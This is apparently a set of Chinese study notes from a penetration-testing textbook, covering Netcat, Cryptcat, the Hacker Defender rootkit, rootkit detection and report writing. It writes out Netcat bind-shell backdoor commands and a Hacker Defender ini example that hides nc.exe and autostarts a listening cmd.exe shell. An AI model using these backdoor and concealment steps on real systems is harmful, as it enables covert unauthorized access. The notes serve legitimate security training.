              a)在目标计算机上发现了一些开放端口,但Nmap和Nessus无法识别在端口上运行的服务,在这种情况下,一个好的解决方案便是使用Netcat建立一个到目标端口的盲连接。连接建立之后,通过键盘输入向目标端口发送信息,引发服务端的响应,根据响应信息识别服务。

              b)假如对IP地址为192.168.18.132的目标计算机进行渗透测试,发现端口5001是开放的,但无法判断该端口运行着什么服务,则可以这样

              nc 192.168.18.132 5001(建立一个到目标端口和服务的TCP连接)

              (注:可以使用 < -u >参数强制Netcat发送UDP数据包)

       ⑧Netcat的 < -e > 参数

              a)如果我们使用 -e 参数来启动Netcat,Netcat将执行我们在 -e 参数之后指定的任何程序(并且该程序只会在连接建立之后执行)

              b)要配置一个Back door,需要使用 -e 参数将一个可执行命令的 shell绑定到目标计算机的一个端口上

              例如: nc -l -p 12345 -e /bin/sh

                            nc.exe -L -p12345 -e c:\WINDOWS\System32\cmd.exe

       ⑨你应当花时间亲自实践一下这款工具,你将被这款工具的强大功能所震慑!这也是称它为“瑞士军刀”的原因

3.Cryptcat(命令格式和Netcat一致)

       ①流经Netcat服务器和客户端的流量都是明文的,Cryptcat可以用来解决这一问题,它使用twofish进行加密

       ②你应该更改默认的key值,不如容易被破解。默认的key值是”metallica“,

使用< - k >参数修改

4.Rootkit(一类工具的总称)

可以隐藏文件,进程甚至是程序,一般用于隐藏文件或程序,以保持后门访问的隐蔽性

5.Hacker Defender(一款WindowsRootkit)

       ①需要特别注意的其中三个主要文件

       a) hxdef100.exe : 在目标计算机上运行Hacker Defender

       b) hxdef100.ini : 根据需要进行选项设置,列出我们想要隐藏的程序,文件或服务

       c) bdcli100.exe : 客户端软件,用于连接Hacker Defender的后门

       ②详解”hxdef100.ini ”文件

《渗透测试实践指南 必知必会的工具与方法 (原书第2版)》读书摘录_第2张图片(图A)《渗透测试实践指南 必知必会的工具与方法 (原书第2版)》读书摘录_第3张图片(图B)

(A图是真实的hxdef100.ini文件,不过为了躲避杀软检测,插入了一些字符,去除这些干扰字符后,实际内容参照图B,之所以图中所示选项和下面所述不完全一致是因为,上图源自未运行过的HD)

       a)[Hidden Table] 指定隐藏特定的文件,目录或文件夹(对于Windows的资源管理器和文件管理器都是隐藏的)

       b)[Hidden Process] 指定隐藏特定的进程或程序

       c)[Root Processes] 包含可以用来交互的程序以及可以查看到的但在之前已经隐藏了的文件夹和进程

       d)[Hidden Services] 指定隐藏特定的服务(如FTP,Web服务,Back door等)

       e)[Hidden Rekeys] 指定隐藏特定的注册表键

       f)[Hidden RegValues] 指定隐藏特定的键值,而不是整个键

       g)[Startup Run] 在Hacker Defender 启动后自动运行的程序(放置Netcat命令的好地方,注意确保Netcat处于监听模式)

       h)[Free Space] 显示虚假的硬盘已用空间(隐藏了所使用的磁盘空间的占用信息)

       例如:你偷偷安装的程序占了1G硬盘空间,你需要写入”1073741824“(该数字以字节为单位)

       i)[Hidden Ports] 包括TCPI 、TCPO、UDP三个子节

              Ⅰ.TCPI 指定隐藏入站流量的TCP端口(多个端口间用”,“分隔)

              Ⅱ.TCPO 指定隐藏出站流量的TCP端口

              Ⅲ.UDP 指定想要隐藏的UDP端口

       ③使用Hacker Defender隐藏 Netcat的实例,修改”hxdef100.ini ”文件,需要添加的内容如下(HackerDefender和Netcat均位于”C:\rk\“目录下)

              [HiddenTable]   rk

              [Hidden Processes]  nc.exe

              [Startup Run]

              c:\rk\nc_windows\nc.exe -L -p 8887-e c:\windows\system32\cmd.exe

6.要真在的掌握Rootkit,需要对操作系统内核有非常扎实的理解

7.强烈建议你深入到恶意软件这个“兔子洞”中去探探究竟!

8.Rootkit的检测和防御

       ①监控流出的流量

       ②定期对你的系统进行端口扫描

       ③发现隐藏文件和Rootkit的工具

              a)Rootkit Revealer

              b)vice

              c)F-Secure的Blacklight

       ④清除Rootkit最简单的方法是完全格式化硬盘☹

9.如何实践

①配置两台计算机并在它们上边实际操作一下Netcat(< -e >至关重要

                                   (用得越多,对概念的理解就越透彻)

②挖掘Netcat的一些高级特性,如用Netcat做代理,反向shell,端口扫描,创建和复制磁盘分区,连接Netcat实例实现从一台计算机到另一台计算机的反弹流量等

③一定要仔细阅读Netcat的“man(帮助)”文档并分析每一个参数

④事实上,Rootkit和Back door在渗透测试中很少使用,强烈建议你在试图更深入地研究恶意软件之前,侧重掌握其他步骤的内容

10.接下来做什么

①Ncat:

现代版的Netcat,Nmap项目的组成部分,为很多旧功能增加了SSL和IPV6的支持

②Socat:

另一个与Netcat密切相关的工具,它在读写网络流量方面非常出色,也扩展了Netcat的原有的功能,增加了SSL、IPV6支持和一些其他的高级特性

③有兴趣学习更多关于Back door的知识,应该花时间研究几个经典的例子,包括

a)Netbus:传统命令和控制软件的好例子

b)Back Orifice:与Netbus非常相似,允许用户使用命令行操控远程计算机

c)Subseven(Sub7):采用客户端/服务器方式,允许客户端远程控制服务器端

       ④对扩展Rootkit方面的知识感兴趣,那么需要学习和掌握现代操作系统内部机理

第八章、渗透测试总结

1.编写渗透测试报告

       ①综合报告

       ②对渗透测试执行情况的概述(帮助客户理解控制或者入侵系统的成功程度)

       ③详细报告

       ④原始输出(假如需要的话)以及支持信息

2.不应到此为止

       ①安全社区:InfraGard、OWASP、Backtrack-Linux

       ②Defcon大会、DerbyCon大会

       ③可以深入研究的一些主题:

              a)威慑安全/道德Hacker   b)Web应用安全

              c)系统安全                         d)逆向工程

              e)工具开发                        f)恶意软件分析

              g)防御性安全                           h)软件安全

              i)数字取证                         j)无线安全

3.接下来该做什么

①强烈建议加强编程和网络知识

②Kali Linux的专业人员提供了一系列高强度实践的课程

③花些时间关注和研究包括OSSTMM(开源安全测试方法学手册)和PTES(渗透测试执行标准)在内的各种安全测试方法论

PTF(渗透测试框架,PenetrationTesting Framework):包含评估模板和一套可以用于各个阶段的非常强大的工具清单

             

 

你可能感兴趣的:(《渗透测试实践指南 必知必会的工具与方法 (原书第2版)》读书摘录)